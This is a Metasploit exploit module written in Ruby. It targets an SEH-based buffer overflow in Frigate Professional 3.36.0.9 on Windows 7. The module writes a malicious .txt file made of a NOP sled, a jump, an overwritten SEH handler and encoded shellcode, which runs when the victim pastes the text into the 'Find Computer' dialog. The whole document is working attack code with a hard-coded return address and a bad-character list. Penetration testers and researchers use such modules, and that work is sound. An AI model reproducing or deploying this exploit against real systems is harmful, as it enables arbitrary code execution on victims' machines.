##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info={})
super(update_info(info,
'Name' => "Frigate Professional 3.36.0.9 'Find Computer' Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow in Frigate Professional 3.36.0.9.
By creating a specially designed TXT file go to "Disk"> "Find Computer" then copy the
characters located in the file (.txt) then paste it in the "Computer Name" > "OK button".
The application is vulnerable and the buffer is overwritten, allowing the shellcode to be executed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Paras Bhatia', # Exploit-DB POC
'ZwX' # Metasploit Module
],
'References' =>
[
[ 'EDB', '48579' ],
[ 'URL', 'https://www.exploit-db.com/exploits/48579' ],
[ 'URL', 'https://cxsecurity.com/issue/WLB-2020060051' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 7 Ultimate SP1 X86 - Windows 7 F.Prenium x64', { 'Ret' => 0x40010C4B } ], # POP POP RET [rtl60.bpl]
],
'Payload' =>
{
'BadChars' => "\x00\x14\x09\x0a\x0d"
},
'Privileged' => false,
'DisclosureDate' => "Jun 04 2020",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'Create malicious file', 'name.txt'])
])
end
def exploit
file_payload = payload.encoded
msfsploit = make_fast_nops(4112)
msfsploit << "\xeb\x20#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # NSEH
msfsploit << [target.ret].pack("V*") # SEH
msfsploit << "\x90" * 50
msfsploit << file_payload
file_create(msfsploit)
end
end
